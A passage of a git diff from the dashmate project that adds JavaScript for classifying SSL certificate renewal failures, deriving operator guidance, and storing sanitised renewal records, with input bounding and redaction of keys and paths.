'PROVIDER_AUTH', + PROVIDER_UNREACHABLE: 'PROVIDER_UNREACHABLE', + CERTIFICATE_FILE_MISSING: 'CERTIFICATE_FILE_MISSING', + RENEWAL_INTERRUPTED: 'RENEWAL_INTERRUPTED', + UNKNOWN: 'UNKNOWN', +}; + +/** + * What an operator should do, as a class rather than as prose. + * + * Every code carries one. Without it a code added later inherits whatever + * ending the surrounding text happened to have, and the two endings that must + * never be handed to the wrong cause are here: asking for another certificate + * when the authority has already refused, and asking for one when an issuance + * has been spent but never landed. + */ +export const REMEDY_CLASS = { + /** Fix something on this machine; renewal retries by itself afterwards. */ + FIX_LOCALLY: 'FIX_LOCALLY', + /** The certificate has to be requested again. */ + OBTAIN: 'OBTAIN', + /** Nothing this provider can do; the operator chooses another. */ + SWITCH_PROVIDER: 'SWITCH_PROVIDER', + /** Asking again makes it worse. Say so before anything else. */ + DO_NOT_RETRY: 'DO_NOT_RETRY', + /** Wait - it is transient, or already in someone else's hands. */ + WAIT: 'WAIT', + /** Nothing actionable was established. */ + SUPPORT: 'SUPPORT', +}; + +/** + * One sentence per code, and the ending it is allowed to take. + * + * Shared by every operator-facing surface. Both `doctor` and `update` say the + * same thing about a cause because they read the same entry; the commands + * around it differ because those two surfaces render differently, and that is + * the only part either is free to choose. + */ +const DESCRIPTIONS = { + [RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE]: { + sentence: 'the certificate authority could not reach this node on port 80', + remedy: REMEDY_CLASS.FIX_LOCALLY, + }, + [RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER]: { + sentence: "something answered on port 80, but not this node's certificate check", + remedy: REMEDY_CLASS.FIX_LOCALLY, + }, + [RENEWAL_FAILURE_CODES.PORT_80_IN_USE]: { + sentence: 'something on this machine is already using port 80, so the certificate check could' + + ' not start', + remedy: REMEDY_CLASS.FIX_LOCALLY, + }, + [RENEWAL_FAILURE_CODES.PORT_80_CHECK_FAILED]: { + sentence: "dashmate's own check could not confirm this node answers on port 80", + remedy: REMEDY_CLASS.FIX_LOCALLY, + }, + [RENEWAL_FAILURE_CODES.RATE_LIMITED]: { + sentence: 'the certificate authority has temporarily refused further attempts for this' + + " account and this node's address", + // Every cause read from a message shares one remedy. A rate limit that + // withheld the verification would be an action chosen by text the + // responder can influence, and the same text can hide a closed port behind + // a nonce retry the client already survived. What a rate limit needs said + // is said in the guidance beside it, which persuades rather than forbids. + remedy: REMEDY_CLASS.FIX_LOCALLY, + }, + [RENEWAL_FAILURE_CODES.CERTIFICATE_CHECK_REFUSED]: { + sentence: "the certificate authority refused this node's certificate check", + remedy: REMEDY_CLASS.FIX_LOCALLY, + }, + [RENEWAL_FAILURE_CODES.PROVIDER_REJECTED]: { + sentence: 'the certificate authority refused the request', + remedy: REMEDY_CLASS.SUPPORT, + }, + [RENEWAL_FAILURE_CODES.HELPER_DID_NOT_START]: { + sentence: 'dashmate could not start the certificate check on this machine, so nothing reached' + + ' the certificate authority', + remedy: REMEDY_CLASS.FIX_LOCALLY, + }, + [RENEWAL_FAILURE_CODES.HELPER_START_UNCONFIRMED]: { + // Says nothing about whether the authority was reached, because that is + // exactly what is not known here. + sentence: 'dashmate could not tell whether the certificate check started, so it does not know' + + ' whether a certificate was requested', + remedy: REMEDY_CLASS.DO_NOT_RETRY, + }, + [RENEWAL_FAILURE_CODES.CERTIFICATE_ISSUED_NOT_SAVED]: { + sentence: 'a certificate was issued but dashmate could not save it', + remedy: REMEDY_CLASS.DO_NOT_RETRY, + }, + [RENEWAL_FAILURE_CODES.RESULT_UNKNOWN]: { + sentence: 'dashmate could not read how the certificate check finished, so it does not know' + + ' whether a certificate was requested', + remedy: REMEDY_CLASS.DO_NOT_RETRY, + }, + [RENEWAL_FAILURE_CODES.QUOTA_EXHAUSTED]: { + sentence: "this node's free ZeroSSL account has used all three of its certificates, so ZeroSSL" + + ' will not issue another one', + remedy: REMEDY_CLASS.SWITCH_PROVIDER, + }, + [RENEWAL_FAILURE_CODES.PROVIDER_PLAN_REQUIRED]: { + sentence: 'ZeroSSL will not issue this certificate on the plan this account is on', + remedy: REMEDY_CLASS.SWITCH_PROVIDER, + }, + [RENEWAL_FAILURE_CODES.PROVIDER_AUTH]: { + sentence: "ZeroSSL rejected this node's account details, so it will not issue a certificate", + remedy: REMEDY_CLASS.SWITCH_PROVIDER, + }, + [RENEWAL_FAILURE_CODES.PROVIDER_UNREACHABLE]: { + sentence: 'dashmate could not reach the certificate provider', + remedy: REMEDY_CLASS.WAIT, + }, + [RENEWAL_FAILURE_CODES.CERTIFICATE_FILE_MISSING]: { + sentence: "this node's certificate file is missing, so there is nothing to renew", + remedy: REMEDY_CLASS.OBTAIN, + }, + [RENEWAL_FAILURE_CODES.RENEWAL_INTERRUPTED]: { + sentence: 'another dashmate command was changing configuration, so renewal stopped part way', + remedy: REMEDY_CLASS.WAIT, + }, + [RENEWAL_FAILURE_CODES.UNKNOWN]: { + sentence: 'dashmate could not work out why', + remedy: REMEDY_CLASS.SUPPORT, + }, +}; + +/** + * The cause and the ending it may take, for anything an operator reads. + * + * A code this build does not know is described as unknown rather than passed + * through: an identifier an operator cannot look up is worse than an admission. + * + * @param {string} code + * @return {{sentence: string, remedy: string}} + */ +export function describeRenewalFailure(code) { + return DESCRIPTIONS[code] ?? DESCRIPTIONS[RENEWAL_FAILURE_CODES.UNKNOWN]; +} + +/** + * How much of a provider's account of a failure is examined. + * + * lego writes single lines of unbounded length, and the patterns below run on + * the helper's event loop - the same loop the configuration lock's lease + * refresh lives on. Bounding the input first keeps a hostile or merely verbose + * line from stalling it. + */ +export const MAX_EXAMINED_CHARS = 2048; + +/** + * How much of it is kept. + * + * A size control, not a secrecy one: this much text comfortably holds a key or + * an account address, which is why the selection below is an allow-list rather + * than a slice of whatever came back. + */ +export const MAX_DETAIL_CHARS = 200; + +/** + * The problem types RFC 8555 registers, as lego prints them. + * + * A registered vocabulary rather than prose, which is what makes it safe to + * branch on: `ProblemDetails.Error()` prints the type verbatim, and the type + * is the authority's own classification rather than dashmate's reading of it. + */ +const ACME_PROBLEM_PATTERN = /urn:ietf:params:acme:error:([A-Za-z]+)/; + +/** + * The causes worth naming, in the order they are preferred when several appear. + * + * A run that ends badly often carries more than one problem type: a nonce the + * client retried and survived, a 429 the transport retried, and the failure + * that actually ended it. Nothing in the text says which was terminal - lego + * prints the authority's detail verbatim, newlines included, so even the line + * structure is the responder's to forge. + * + * That is survivable because the order below only decides which sentence an + * operator reads. Every one of these resolves to the same action, so preferring + * one over another cannot change what anybody is told to do. + * + * Port 80 outranks a rate limit deliberately. Both appear together often, and + * the asymmetry is not close: naming a rate limit when a firewall is shut + * leaves the node dark, while naming port 80 during a real rate limit costs an + * operator a few minutes and one of five hourly validations. + */ +const ACME_CAUSE_PRIORITY = [ + ['connection', RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE], + ['unauthorized', RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER], + ['rateLimited', RENEWAL_FAILURE_CODES.RATE_LIMITED], +]; + +/** + * What the authority said went wrong, or nothing. + * + * @param {string} message + * @return {string|null} + */ +function readAcmeCause(message) { + const types = new Set(); + + for (const match of message.matchAll(/urn:ietf:params:acme:error:([A-Za-z]+)/g)) { + types.add(match[1]); + } + + if (types.size === 0) { + return null; + } + + const preferred = ACME_CAUSE_PRIORITY.find(([type]) => types.has(type)); + + // A type this build has never met still establishes that the authority + // refused the check, which is worth saying and takes the same ending. + return preferred ? preferred[1] : RENEWAL_FAILURE_CODES.CERTIFICATE_CHECK_REFUSED; +} + +/** + * ZeroSSL's own numeric codes, which survive to here because the API client + * copies them onto the error it throws. + */ +const ZEROSSL_QUOTA_CODES = [2817]; + +/** + * A plan that will not issue what was asked for, which is not the same as a + * free tier that has run out of certificates. + */ +const ZEROSSL_PLAN_CODES = [2839]; +// 2841 is deliberately absent: the provider reuses it for an unpaid-invoice +// lock on one endpoint and a CAA check failure on another, so the number alone +// does not establish an account problem. It falls through to a plain refusal. +const ZEROSSL_AUTH_CODES = [101, 102, 2801]; + +/** + * Docker's wording when a port cannot be bound. + * + * Matched only to separate an occupied port from every other reason the + * certificate check might not start: the two have opposite repairs, and + * confusing them sends an operator to open a port that is already open. + */ +const PORT_BIND_PATTERN = /port is already allocated|address already in use|bind for \S+ failed/i; + +/** + * Terminal control sequences, removed wherever this text is stored or shown. + * + * `detail` is the first free text either operator surface prints verbatim, and + * `dashmate doctor --samples` renders an archive that arrived from someone + * else - so escape sequences in it would be interpreted by the terminal of + * whoever is helping, and could rewrite what they see. + * + * C1 as well as C0: a terminal in 8-bit mode reads U+009B as a control + * sequence introducer on its own, without the escape that precedes it in the + * 7-bit form. + */ +// eslint-disable-next-line no-control-regex -- matching them is the point +const CONTROL_CHARACTERS = /[\u0000-\u001F\u007F-\u009F]/g; + +/** + * @param {*} value + * @return {string} + */ +function readMessage(value) { + // Only the message, and never the error object. Both providers hang extra + // fields off the errors they throw - ZeroSSL copies its whole response body + // on, one field of which is named a single character away from this one, and + // a listr error can carry the task context, which on the ZeroSSL path holds + // the gateway's private key. None of that may reach disk. + const message = value?.message; + + return typeof message === 'string' ? message : ''; +} + +/** + * @param {string} text + * @param {string|null} homeDirPath + * @return {string} + */ +function collapseHomeDir(text, homeDirPath) { + if (!homeDirPath) { + return text; + } + + // Done here rather than where the report is assembled. The reader's masking + // matches the home directory only where it ends, so a value cut to length + // partway through the operator's name matches nothing and would survive. + return text.split(homeDirPath).join('~'); +} + +/** + * @param {string} text + * @return {string} + */ +function redact(text) { + return text + // The host says which certificate authority answered, which is worth + // keeping; everything after it identifies the account, the order or the + // authorization, and identifies the operator with it. + .replace(/(https?:\/\/[^/\s]+)\/\S*/g, '$1/...') + .replace(/[^\s:/@]+@[^\s:/@]+\.[^\s:/@]+/g, '[email]'); +} + +/** + * The line that carries the evidence, or nothing. + * + * An allow-list rather than a position. Taking the first or last line instead + * would mean storing an arbitrary slice of dashmate's own guidance, which is + * the part of these errors that carries absolute paths and Docker's raw + * output - and which the surface reading this is about to write for itself. + * + * @param {string} message + * @param {number|null} providerCode + * @return {string|null} + */ +function selectEvidence(message, providerCode) { + const lines = message.split('\n').map((line) => line.trim()).filter(Boolean); + + // The last, for the same reason the type is taken from the end: evidence + // quoting a problem that was recovered from would contradict the code beside + // it, and the two are read together. + const acmeLine = lines.findLast((line) => ACME_PROBLEM_PATTERN.test(line)); + + if (acmeLine) { + // The authority quotes back what it fetched from port 80, which on the + // wrong-responder case is whatever page answered - arbitrary content, from + // a machine that is by definition exposed. The classification lives before + // that quote, so the echo is not worth carrying into a support ticket. + const [beforeEcho] = acmeLine.split('"'); + + return beforeEcho.trim(); + } + + // ZeroSSL answers with a code, and the message beside it is the provider's + // own description of that code rather than anything dashmate composed. + if (providerCode !== null && lines.length > 0) { + return lines[0]; + } + + return null; +} + +/** + * @param {*} error + * @return {number|null} + */ +function readProviderCode(error) { + const code = error?.code; + + return typeof code === 'number' ? code : null; +} + +/** + * @param {*} error + * @return {string} + */ +function classifyCode(error, message, provider) { + // The typed errors describe how far the attempt got, which no amount of + // reading the text can establish: whether the certificate check ever ran, + // and whether an issuance was spent. They arrive as the cause because the + // task that raises them replaces them with guidance written for a terminal. + const cause = error?.cause; + + if (cause instanceof LegoArtifactsMissingError) { + return RENEWAL_FAILURE_CODES.CERTIFICATE_ISSUED_NOT_SAVED; + } + + if (cause instanceof LegoResultNotObservedError) { + return RENEWAL_FAILURE_CODES.RESULT_UNKNOWN; + } + + if (cause instanceof LegoDidNotStartError) { + // Docker can reject a start it has already accepted, and the error carries + // whether that was ruled out. When it was not, the certificate check may be + // running and may already have asked the authority for a certificate - + // so nothing may be claimed about what reached it, and the attempt has to + // be treated as one that may already have spent an issuance. + if (cause.neverRan === false) { + return RENEWAL_FAILURE_CODES.HELPER_START_UNCONFIRMED; + } + + // Bounded like everything else: this one comes from the Docker daemon, + // which is the only message here that is not dashmate's or a certificate + // authority's, and the pattern below is the one that is not linear. + return PORT_BIND_PATTERN.test(readMessage(cause.cause).slice(0, MAX_EXAMINED_CHARS)) + ? RENEWAL_FAILURE_CODES.PORT_80_IN_USE + : RENEWAL_FAILURE_CODES.HELPER_DID_NOT_START; + } + + // Raised where the failure happened rather than recognised by its wording. + // The authority copies a responder's page into its problem detail, so any + // phrase these once matched can arrive from the machine being diagnosed - + // and each of them ends in advice to stop and wait, which is the one thing a + // stranger must not be able to tell an operator to do. + const carried = [error, cause].find((candidate) => candidate instanceof ConfigurationLockLostError + || candidate instanceof VerificationServerUnreachableError + || candidate instanceof ProviderUnreachableError + || candidate instanceof CertificateFileMissingError + || candidate instanceof ProviderCredentialsRejectedError); + + if (carried instanceof ConfigurationLockLostError) { + return RENEWAL_FAILURE_CODES.RENEWAL_INTERRUPTED; + } + + if (carried instanceof VerificationServerUnreachableError) { + return RENEWAL_FAILURE_CODES.PORT_80_CHECK_FAILED; + } + + if (carried instanceof ProviderUnreachableError) { + return RENEWAL_FAILURE_CODES.PROVIDER_UNREACHABLE; + } + + if (carried instanceof CertificateFileMissingError) { + return RENEWAL_FAILURE_CODES.CERTIFICATE_FILE_MISSING; + } + + // A key this node never sent, so the provider returned no number to classify + // it by. It is still a rejected account, and the repair is the same one. + if (carried instanceof ProviderCredentialsRejectedError) { + return RENEWAL_FAILURE_CODES.PROVIDER_AUTH; + } + + // Before anything that reads the message. A provider answers with a number + // and copies its own text onto the error beside it, so a provider message + // carrying ACME wording could otherwise be read as an authority's verdict - + // and a spent free tier would be reported as a rate limit that clears on its + // own. It never clears: the remedy is a different provider. + const providerCode = readProviderCode(error); + + if (providerCode !== null) { + if (ZEROSSL_QUOTA_CODES.includes(providerCode)) { + return RENEWAL_FAILURE_CODES.QUOTA_EXHAUSTED; + } + + if (ZEROSSL_PLAN_CODES.includes(providerCode)) { + return RENEWAL_FAILURE_CODES.PROVIDER_PLAN_REQUIRED; + } + + if (ZEROSSL_AUTH_CODES.includes(providerCode)) { + return RENEWAL_FAILURE_CODES.PROVIDER_AUTH; + } + + return RENEWAL_FAILURE_CODES.PROVIDER_REJECTED; + } + + // Only this provider's output is read this way, and only once everything + // above has declined. Another provider's text is not lego's, and reading it + // as though it were is how a ZeroSSL failure acquires a Let's Encrypt cause. + if (provider === LETSENCRYPT_PROVIDER) { + const acmeCause = readAcmeCause(message); + + if (acmeCause !== null) { + return acmeCause; + } + } + + return RENEWAL_FAILURE_CODES.UNKNOWN; +} + +/** + * Remove control sequences and flatten to a single line. + * + * Applied where this text is written and again where it is read: a record can + * be edited by hand, and a report can arrive from someone else entirely. + * + * @param {string} text + * @return {string} + */ +export function sanitizeDetail(text) { + return String(text ?? '') + .replace(CONTROL_CHARACTERS, ' ') + .replace(/\s+/g, ' ') + .trim(); +} + +/** + * Name what stopped a renewal, and keep a bounded account of it for a person. + * + * @param {*} error - whatever the renewal threw; not necessarily an Error + * @param {Object} [options] + * @param {string|null} [options.homeDirPath] - collapsed out of the excerpt + * @return {{code: string, detail: string|null}} + */ +export default function classifyRenewalFailure( + error, + { homeDirPath = null, apiKey = null, provider = null } = {}, +) { + // Bounded once, before anything examines it. lego writes single lines of + // unbounded length and these patterns run on the helper's event loop - the + // same loop that refreshes the configuration lock's lease, so a stall here + // is a lease that stops being renewed while the helper still looks alive. + // A stall guard and nothing more. Which cause is read no longer depends on + // where anything sits, so a cut that drops a type falls back to a + // neighbouring sentence or to the generic one - never to a different ending. + const examined = readMessage(error).slice(0, MAX_EXAMINED_CHARS); + + const code = classifyCode(error, examined, provider); + const evidence = selectEvidence( + collapseHomeDir(examined, homeDirPath), + readProviderCode(error), + ); + + if (evidence === null) { + return { code, detail: null }; + } + + // Defence in depth: the provider's own client redacts its key before + // throwing, but that pass is exact-substring only, so a key echoed back + // altered would survive it. + const withoutKey = apiKey + ? evidence.split(apiKey).join('[REDACTED]') + : evidence; + + return { + code, + detail: sanitizeDetail(redact(withoutKey)).slice(0, MAX_DETAIL_CHARS), + }; +} diff --git a/packages/dashmate/src/ssl/renewalGuidance.js b/packages/dashmate/src/ssl/renewalGuidance.js new file mode 100644 index 00000000000..77fa68f8391 --- /dev/null +++ b/packages/dashmate/src/ssl/renewalGuidance.js @@ -0,0 +1,148 @@ +import { describeRenewalFailure, REMEDY_CLASS } from './renewal-failure.js'; + +/** + * Whether asking the authority for another certificate is safe right now. + * + * Derived once and read by every surface. Both operator surfaces previously + * worked this out for themselves from the raw record, and they drifted apart + * three times: one would withhold a command while the other printed it, for + * the same node in the same state. Precedence belongs in one place. + */ +export const SAFE_ACTION = { + /** Ask for a certificate. Nothing known forbids it. */ + OBTAIN: 'OBTAIN', + /** + * Repair something here first, then let renewal come back around on its own. + * Only while the certificate in use still works - there is time to wait. + */ + WAIT_AFTER_LOCAL_FIX: 'WAIT_AFTER_LOCAL_FIX', + /** + * Repair something here first, then ask for a certificate. + * The one in use is already unusable, so waiting is a live outage. + */ + OBTAIN_AFTER_LOCAL_FIX: 'OBTAIN_AFTER_LOCAL_FIX', + /** This provider will not issue again; the operator picks another. */ + SWITCH_PROVIDER: 'SWITCH_PROVIDER', + /** Asking again costs something and gains nothing. */ + DO_NOT_OBTAIN: 'DO_NOT_OBTAIN', +}; + +/** + * What is known about whether an issuance is already outstanding. + * + * Three states, not two. "May have been issued" and "was issued and could not + * be saved" withhold the same command for different reasons, and telling an + * operator their certificate could not be saved when dashmate does not know + * whether one exists is a claim it cannot make. + */ +export const ISSUANCE_STATUS = { + NONE: 'NONE', + UNCERTAIN: 'UNCERTAIN', + SPENT: 'SPENT', +}; + +/** + * @param {string} remedy + * @return {string} + */ +function safeActionForRemedy(remedy, isCertificateUsable) { + if (remedy === REMEDY_CLASS.DO_NOT_RETRY || remedy === REMEDY_CLASS.SUPPORT) { + return SAFE_ACTION.DO_NOT_OBTAIN; + } + + if (remedy === REMEDY_CLASS.SWITCH_PROVIDER) { + return SAFE_ACTION.SWITCH_PROVIDER; + } + + // A repair the operator has just made needs checking, and asking the + // authority is the only way to check it: dashmate cannot test its own + // inbound port 80, because nothing listens there except during a renewal - + // which is why an external port scan reads closed on a healthy node. + // + // Sending them away for an hour to find out whether it worked is how a node + // stays broken: they leave, they forget, and the certificate expires. A + // failed attempt costs one of five hourly validations, of which renewal + // itself uses one; a successful one is the certificate they were after. + // Neither is the weekly allowance, which is what the withholding cases + // above protect. + if (remedy === REMEDY_CLASS.FIX_LOCALLY) { + return SAFE_ACTION.OBTAIN_AFTER_LOCAL_FIX; + } + + // Waiting is only ever advised on a signal this repository raised itself, + // and it stays conditional: once the certificate in use has stopped working, + // an hour of waiting is a live outage. + if (remedy === REMEDY_CLASS.WAIT) { + return isCertificateUsable + ? SAFE_ACTION.WAIT_AFTER_LOCAL_FIX + : SAFE_ACTION.OBTAIN_AFTER_LOCAL_FIX; + } + + return SAFE_ACTION.OBTAIN; +} + +/** + * Everything an operator surface needs to say, decided once. + * + * @param {Object} options + * @param {RenewalRecord|null} options.record - applicable and failed, or null + * @param {boolean} [options.isRecordUnreadable] - a record exists and could not + * be read, so nothing about issuance can be established either way + * @param {boolean} [options.hasNoExternalIp] - nothing can be issued without an + * address, so this outranks every other prerequisite + * @param {boolean} [options.isCertificateUsable] - whether the node still has a + * working certificate, which decides whether waiting is affordable + * @return {{cause: string|null, code: string|null, safeAction: string, + * issuanceStatus: string, prerequisites: string[]}} + */ +export default function deriveRenewalGuidance({ + record = null, + isRecordUnreadable = false, + hasNoExternalIp = false, + isCertificateUsable = true, +}) { + const prerequisites = hasNoExternalIp ? ['EXTERNAL_IP'] : []; + + // Nothing can be established, so nothing may be spent on the strength of it. + if (isRecordUnreadable) { + return { + cause: null, + code: null, + safeAction: SAFE_ACTION.DO_NOT_OBTAIN, + issuanceStatus: ISSUANCE_STATUS.UNCERTAIN, + prerequisites, + }; + } + + if (record === null) { + return { + cause: null, + code: null, + safeAction: SAFE_ACTION.OBTAIN, + issuanceStatus: ISSUANCE_STATUS.NONE, + prerequisites, + }; + } + + const { sentence, remedy } = describeRenewalFailure(record.getCode()); + + let issuanceStatus = ISSUANCE_STATUS.NONE; + + if (record.isIssuanceSpent()) { + issuanceStatus = ISSUANCE_STATUS.SPENT; + } else if (record.isIssuanceUncertain()) { + issuanceStatus = ISSUANCE_STATUS.UNCERTAIN; + } + + return { + cause: sentence, + code: record.getCode(), + // An outstanding issuance outranks the cause's own remedy: it is spent, or + // may be, whether or not this particular failure could be repaired. + safeAction: issuanceStatus === ISSUANCE_STATUS.NONE + ? safeActionForRemedy(remedy, isCertificateUsable) + : SAFE_ACTION.DO_NOT_OBTAIN, + issuanceStatus, + prerequisites, + }; +} diff --git a/packages/dashmate/src/ssl/renewalRecord/RenewalRecord.js b/packages/dashmate/src/ssl/renewalRecord/RenewalRecord.js new file mode 100644 index 00000000000..c93213539cc --- /dev/null +++ b/packages/dashmate/src/ssl/renewalRecord/RenewalRecord.js @@ -0,0 +1,295 @@ +import { MAX_DETAIL_CHARS, sanitizeDetail } from '../renewal-failure.js'; + +/** + * What the helper recorded about the last renewal for one config. + * + * The questions a reader actually asks - did it fail, does it still describe + * this node, what should the operator be told - are answered here rather than + * at each call site. Both operator surfaces asked them separately before, which + * is how the two came to disagree about whether a record applied. + */ +export default class RenewalRecord { + /** + * The shape this build writes. + * + * Recorded for a person opening the file, and for a future reader that has a + * reason to care. Nothing gates on it: a reader that refused an unfamiliar + * version would go silent on a node that is actively failing, which is worse + * than reporting nothing at all. Fields are validated one at a time instead, + * so an unfamiliar shape degrades to the parts that are recognisable. + */ + static FORMAT_VERSION = 1; + + /** + * Leaves room for anything a reader derives from a stored instant while + * staying well inside what a Date can represent and format. + */ + static #MAX_SAFE_INSTANT_MS = 8.64e15 - 86400000; + + static OUTCOMES = { + SUCCEEDED: 'succeeded', + FAILED: 'failed', + }; + + #provider; + + #outcome; + + #code; + + #detail; + + #attemptedAt; + + #lastSuccessAt; + + #consecutiveFailures; + + #issuanceSpentAt; + + #issuanceUncertainAt; + + #gatewayReloadFailedAt; + + /** + * @param {Object} properties - already validated by fromObject + */ + constructor(properties) { + this.#provider = properties.provider; + this.#outcome = properties.outcome; + this.#code = properties.code; + this.#detail = properties.detail; + this.#attemptedAt = properties.attemptedAt; + this.#lastSuccessAt = properties.lastSuccessAt; + this.#consecutiveFailures = properties.consecutiveFailures; + this.#issuanceSpentAt = properties.issuanceSpentAt; + this.#issuanceUncertainAt = properties.issuanceUncertainAt; + this.#gatewayReloadFailedAt = properties.gatewayReloadFailedAt; + } + + /** + * @param {*} value + * @return {Date|null} + */ + static #readDate(value) { + if (typeof value !== 'string') { + return null; + } + + const parsed = new Date(value); + + if (Number.isNaN(parsed.getTime())) { + return null; + } + + // A date near the edge of the representable range is valid on its own and + // still unusable: readers derive instants from it - the next attempt is + // this plus an hour - and formatting the result throws, which would take + // the whole diagnosis down rather than one field. An archive can carry + // such a value, so it is rejected where it enters. + return Math.abs(parsed.getTime()) > RenewalRecord.#MAX_SAFE_INSTANT_MS ? null : parsed; + } + + /** + * Build a record from whatever was on disk, or from a collected sample. + * + * Taken field by field so an unfamiliar or damaged value costs only itself + * rather than discarding an account of a failure that is otherwise sound. A + * record with no verdict and no moment to judge it against says nothing at + * all, and is rejected outright. + * + * @param {*} raw + * @return {RenewalRecord|null} + */ + static fromObject(raw) { + if (raw === null || typeof raw !== 'object' || Array.isArray(raw)) { + return null; + } + + const outcome = Object.values(RenewalRecord.OUTCOMES).includes(raw.outcome) + ? raw.outcome + : null; + const attemptedAt = RenewalRecord.#readDate(raw.attemptedAt); + + if (outcome === null || attemptedAt === null) { + return null; + } + + return new RenewalRecord({ + provider: typeof raw.provider === 'string' ? raw.provider : null, + outcome, + code: typeof raw.code === 'string' ? raw.code : null, + // Sanitised on the way in as well as on the way out. The file is editable + // by hand and a collected report can arrive from someone else, so what + // was safe when written is not established at the point it is read. + // Bounded before it is scanned, not after. An archived report is read + // straight into a sample without passing through this repository's own + // write path, so the value can be any length at all. + detail: typeof raw.detail === 'string' + ? sanitizeDetail(raw.detail.slice(0, MAX_DETAIL_CHARS)) || null + : null, + attemptedAt, + lastSuccessAt: RenewalRecord.#readDate(raw.lastSuccessAt), + consecutiveFailures: Number.isInteger(raw.consecutiveFailures) && raw.consecutiveFailures >= 0 + ? raw.consecutiveFailures + : 0, + issuanceSpentAt: RenewalRecord.#readDate(raw.issuanceSpentAt), + issuanceUncertainAt: RenewalRecord.#readDate(raw.issuanceUncertainAt), + gatewayReloadFailedAt: RenewalRecord.#readDate(raw.gatewayReloadFailedAt), + }); + } + + /** + * @return {Object} what gets written, and what a sample carries + */ + toObject() { + return { + formatVersion: RenewalRecord.FORMAT_VERSION, + provider: this.#provider, + outcome: this.#outcome, + code: this.#code, + detail: this.#detail, + attemptedAt: this.#attemptedAt.toISOString(), + lastSuccessAt: this.#lastSuccessAt ? this.#lastSuccessAt.toISOString() : null, + consecutiveFailures: this.#consecutiveFailures, + issuanceSpentAt: this.#issuanceSpentAt ? this.#issuanceSpentAt.toISOString() : null, + issuanceUncertainAt: this.#issuanceUncertainAt + ? this.#issuanceUncertainAt.toISOString() + : null, + gatewayReloadFailedAt: this.#gatewayReloadFailedAt + ? this.#gatewayReloadFailedAt.toISOString() + : null, + }; + } + + /** + * @return {string|null} + */ + getProvider() { + return this.#provider; + } + + /** + * @return {string|null} + */ + getCode() { + return this.#code; + } + + /** + * @return {string|null} + */ + getDetail() { + return this.#detail; + } + + /** + * @return {Date} + */ + getAttemptedAt() { + return this.#attemptedAt; + } + + /** + * @return {Date|null} + */ + getLastSuccessAt() { + return this.#lastSuccessAt; + } + + /** + * @return {number} + */ + getConsecutiveFailures() { + return this.#consecutiveFailures; + } + + /** + * @return {Date|null} + */ + getGatewayReloadFailedAt() { + return this.#gatewayReloadFailedAt; + } + + /** + * Whether a certificate was issued and never landed. + * + * Outlives the failure that produced it, because that issuance is spent + * against a weekly limit whether or not it arrived - so it still forbids + * asking again once a later, different failure has replaced the cause. + * + * @return {boolean} + */ + isIssuanceSpent() { + return this.#issuanceSpentAt !== null; + } + + /** + * Whether a certificate may have been issued without dashmate seeing it. + * + * The certificate helper ran and its result was never read, so a request may + * have reached the authority and counted against this node's allowance. Like + * a confirmed spend this outlives the failure that produced it, because the + * next attempt an hour later records an ordinary cause whose advice is to + * ask again - and asking again is the one thing that must not happen while + * it is unknown whether the last request succeeded. + * + * @return {boolean} + */ + isIssuanceUncertain() { + return this.#issuanceUncertainAt !== null; + } + + /** + * Whether asking the authority again may cost something already spent. + * + * @return {boolean} + */ + isIssuanceOutstanding() { + return this.isIssuanceSpent() || this.isIssuanceUncertain(); + } + + /** + * @return {boolean} + */ + isFailed() { + return this.#outcome === RenewalRecord.OUTCOMES.FAILED; + } + + /** + * Whether this record still describes the certificate the node is using. + * + * Two ways it stops doing so. A provider switch leaves the previous + * provider's account behind, and it says nothing about the one now in use. + * And a certificate obtained by hand after a failure overtakes that failure + * completely - the helper cannot notice, because it stops watching the + * configuration while it waits to retry and the values it watches do not + * change when a certificate is installed. Without this an operator who has + * just repaired their node is told renewal is failing, at the exact moment + * they run the command to check their work. + * + * @param {Object} options + * @param {string} options.provider - the configured provider + * @param {*} [options.certificateValidFrom] - when the installed certificate + * was issued; an unusable value is treated as unknown rather than as older + * than everything, which would suppress every problem without a signal + * @return {boolean} + */ + appliesTo({ provider, certificateValidFrom = null }) { + if (this.#provider !== provider) { + return false; + } + + const issuedAt = RenewalRecord.#readDate( + certificateValidFrom instanceof Date + ? certificateValidFrom.toISOString() + : certificateValidFrom, + ); + + if (!this.isFailed() || issuedAt === null) { + return true; + } + + return this.#attemptedAt.getTime() > issuedAt.getTime(); + } +} diff --git a/packages/dashmate/src/ssl/renewalRecord/RenewalRecordRepository.js b/packages/dashmate/src/ssl/renewalRecord/RenewalRecordRepository.js new file mode 100644 index 00000000000..b3b08c4b6b2 --- /dev/null +++ b/packages/dashmate/src/ssl/renewalRecord/RenewalRecordRepository.js @@ -0,0 +1,448 @@ +import fs from 'fs'; +import path from 'path'; +import writeFileAtomic from 'write-file-atomic'; +import { randomUUID } from 'crypto'; +import RenewalRecord from './RenewalRecord.js'; + +/** + * Whether anything was recorded, and whether it could be used. + * + * Absent and unreadable are kept apart deliberately. Reporting a file that + * could not be opened as "nothing recorded" answers a question this cannot + * answer, on the node where the answer matters most. + */ +export const RENEWAL_RECORD_STATES = { + ABSENT: 'ABSENT', + UNREADABLE: 'UNREADABLE', + PRESENT: 'PRESENT', +}; + +/** + * Readable by the operator's own tooling and by nothing that needs protecting. + * + * Nothing secret is written here by construction, so locking the file down + * would contradict that and add the one failure this design can otherwise + * avoid: a read refused because the account running `doctor` is not the account + * that ran `start`. The private key beside it keeps its own mode. + */ +const RECORD_FILE_MODE = 0o644; + +/** + * How long a held fence may go unrefreshed before another process may break it. + * + * Generous by orders of magnitude - every holder does a few synchronous + * filesystem calls - and it exists only so a process killed mid-claim cannot + * block renewal bookkeeping for good. + */ +const LOCK_STALE_MS = 10000; + +/** + * How long to wait for another holder before giving up. Every holder keeps the + * fence for a handful of filesystem calls, so contention clears quickly. + */ +const LOCK_ACQUIRE_TIMEOUT_MS = 5000; + +const LOCK_RETRY_INTERVAL_MS = 10; + +export default class RenewalRecordRepository { + /** + * The high-water generation, kept beside the record and never removed with it. + * + * A fence that lived only inside the record would not survive the record + * being cleared: a superseded writer would find nothing on disk, conclude it + * was first, and recreate state the current chain had deliberately dropped. + */ + #generationPath(configName) { + return this.homeDir.joinPath(configName, 'platform', 'gateway', 'ssl', '.renewal-generation'); + } + + /** + * @param {string} configName + * @return {number} + */ + /** + * Run fn with the fence held, so a read and the write it authorises cannot be + * separated by another process. + * + * Reading the high-water 